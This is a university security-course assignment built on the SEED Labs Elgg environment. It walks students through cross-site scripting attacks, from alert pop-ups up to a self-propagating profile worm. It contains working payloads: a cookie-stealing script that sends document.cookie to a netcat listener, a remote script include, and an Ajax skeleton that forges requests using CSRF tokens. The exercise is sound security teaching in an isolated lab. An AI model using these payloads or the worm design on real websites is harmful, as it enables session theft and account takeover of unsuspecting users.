CSE 406
Assignment 2
Cross-Site Scripting (XSS) Attack

1. Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g., JavaScript programs) into the victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we will use a web application named Elgg, provided by SeedLabs. In this assignment, you need to exploit this vulnerability to launch an XSS attack on the modified Elgg. This assignment covers the following topics:

- Cross-Site Scripting attack
- XSS worm and self-propagation
- Session cookies
- HTTP GET and POST requests
- JavaScript and Ajax

2. Setting up Environment

Login to Seed Ubuntu and add the following entry to /etc/hosts. You need to use the root privilege to modify this file:

```
10.9.0.5 www.seed-server.com
```

Download the Labsetup.zip file to your VM, unzip it, enter the Labsetup folder and run the docker containers

```
wget https://seedsecuritylabs.org/Labs_20.04/Files/Web_XSS_Elgg/Labsetup.zip $
unzip Labsetup
$ cd Labsetup
$ docker-compose build
$ docker-compose up
```

3. The Elgg Website

We use an open-source web application called Elgg in this assignment. Elgg is a web-based social networking application. It is already set up in the provided container images; its URL is http://www.seed-server.com. We use two containers, one running the web server (10.9.0.5) and the other running the MySQL database (10.9.0.6). The IP addresses for these two containers are hardcoded in various places in the configuration, so please do not change them from the docker-compose.yml file.

MySQL database: Containers are usually disposable, so once they are destroyed, all the data inside the containers is lost. For this lab, we want to keep the data in the MySQL database so we do not lose our work when we shut down our container. To achieve this, we have mounted the mysql data folder on the host machine (inside Labsetup, it will be created after the MySQL container runs once) to the /var/lib/mysql folder inside the MySQL container. This folder is where MySQL stores its database. Therefore, even if the container is destroyed, data in the database are still kept. If you do want to start from a clean database, you can remove this folder:

```
$ sudo rm -rf mysql_data
```

User accounts: We have created several user accounts on the Elgg server; the user name and passwords are given in the following.

```
---------------------------
UserName  | Password
---------------------------
admin     |  seedelgg
alice     |  seedalice
boby      |  seedboby
charlie   |  seedcharlie
samy      |  seedsamy
---------------------------
```

4. Getting Started

First, embed a JavaScript program in your Elgg profile such that when another user views your profile, the JavaScript program will be executed, and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

Similarly, your cookie can be viewed.

```
<script>alert(document.cookie);</script>
```

If your input string is greater than the input field, you can use the following trick

```
<script type="text/javascript"
src='http://www.csrflabattacker.com/myscripts.js'></script>
```

The above malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. Suppose, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

The JavaScript given below sends the cookies to port 5555 of the attacker's machine, where the attacker has a TCP server listening to the same port.

```
<script>document.write('<img src=http://127.0.0.1:5555?c=' +
escape(document.cookie) +
' >');</script>
```

Listen to the port with Netcat with the following command:

```
$ nc -l 5555 -v
```

5. Tasks

1. Becoming the Victim's Friend [4 Marks]

In this task, you need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim (Alice). To add a friend for the victim, you should first find out how a legitimate user adds a friend in Elgg. More specifically, you need to figure out what is sent to the server when a user adds a friend. Firefox's HTTP inspection tool can help you get the information. From the contents, you can identify all the parameters in the request. Make sure that Samy is not affected by the attack when he visits his own profile. A sample skeleton script has been provided. **Clearly mention how you reached the solution with the necessary screenshots in the report.**

```
<script type="text/javascript">
    window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    //Construct the HTTP request to add Samy as a friend.

    var sendurl=...; //FILL IN

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
    }
</script>
```

2. **Modifying the Victim's Profile [6 Marks]**
   The objective of this task is to modify the victim's profile when the victim visits Samy's profile. To modify a profile, you should first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, you need to figure out how the HTTP POST request is constructed to modify a user's profile.
   You need to make the following modifications.

   I) Set all the field's access levels to "Logged in Users."
   II) Set your student ID in the description
   III) Set all other fields with random strings

   Make sure that Samy is not affected by the attack when he visits his own profile. A sample skeleton script has been provided. **Clearly mention how you reached the solution with the necessary screenshots in the report.**

3. **Posting on the Wire on Behalf of the Victim [3 Marks]**
   Follow the steps of **Task 2** and post on the wire on behalf of the victim. The content of the post should be the following:

```
To earn 12 USD/Hour(!), visit now
<Link to Samy's Profile >
```

   Make sure that Samy is not affected by the attack when he visits his own profile. Use the sample skeleton script of task 2. **Clearly mention how you reached the solution with the necessary screenshots in the report.**

4. **Design a Self-Propagating Worm [7 Marks]**
   To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, but the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate.

   When successfully implemented, your designed worm should behave in the following way.

   I) Samy adds the worm's code to his profile.
   II) Alice visits Samy's profile, and the worm sends a friend request to Samy without Alice clicking the add friend button.
   III) The worm replicates itself by modifying Alice's profile and posting Alice's profile link on the wire.

1)samyr profile e add korbo 2)keo samyr profile e gele auto frnd req, auto profile update(jaate ow malicious code contain kore), auto wire e nijer link post 3) so ekhn onno keo lets say charlie, alice er profile visit korleo samy ke frnd req dibe, profile change hbe, wire e nijer profile link.... this goes on

IV) When Charlie visits Alice's profile, he also adds Samy as a friend, and the Worm replicates itself to Charlie's profile and posts his profile link on the wire.

The worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs has been provided. This code gets a copy of itself and displays it in an alert window.

6. Submission Guideline

Deadline: 11:55 PM February 9, 2024

Format: Prepare separate javascript files for each task. Put all the files in a folder named with your 7-digit student ID. Zip the folder and submit. Note that the Zip file's name must be your 7-digit student ID.

Sample Format for 1905999:

```
1905999.zip
|----1905999
     |    1905999_Task_1.js
     |    1905999_Task_2.js
     |    1905999_Task_3.js
     |    1905999_Task_4.js
     |    1905999_report.pdf
```

7. Acknowledgment:

Thanks to Prof. Wenliang Du and SeedLabs.

Plagiarism: Do not copy from any web source or friend. The persons involved in such activities will be penalized by -100% of the total marks.

For any query, use the Moodle thread.